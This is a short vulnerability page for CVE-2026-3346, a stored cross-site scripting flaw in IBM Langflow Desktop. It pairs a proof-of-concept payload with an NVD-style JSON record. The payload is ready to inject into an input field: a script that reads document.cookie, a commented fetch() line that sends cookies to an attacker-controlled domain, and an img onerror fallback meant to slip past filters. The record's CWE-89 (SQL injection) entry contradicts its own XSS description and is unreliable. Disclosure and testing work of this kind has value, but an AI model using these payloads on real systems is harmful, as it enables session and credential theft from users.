CVE-2026-3346

<!-- PoC for CVE-2026-3346 (Stored XSS) Context: Inject into a vulnerable input field (e.g., Node Description) in IBM Langflow Desktop. --> <script> // Simple Proof of Concept to demonstrate execution alert('CVE-2026-3346 XSS Triggered: ' + document.cookie); // Advanced payload: Exfiltrate session data to an external server // fetch('https://attacker-controlled-domain.com/collect?data=' + encodeURIComponent(document.cookie)); </script> <!-- Alternatively, using an image tag to trigger requests without script blocks if filters are basic --> <img src=x onerror="alert('XSS via Image Tag')">

{"cve": {"id": "CVE-2026-3346", "sourceIdentifier": "[email protected]", "published": "2026-04-30T21:16:32.610", "lastModified": "2026-05-11T17:06:09.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Langflow Desktop 1.6.0 through 1.8.4 Lanflow is vulnerable to stored cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow_desktop:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.0", "versionEndIncluding": "1.8.4", "matchCriteriaId": "826FDA9F-F22A-49AC-96F1-7EDD14D90261"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7271095", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}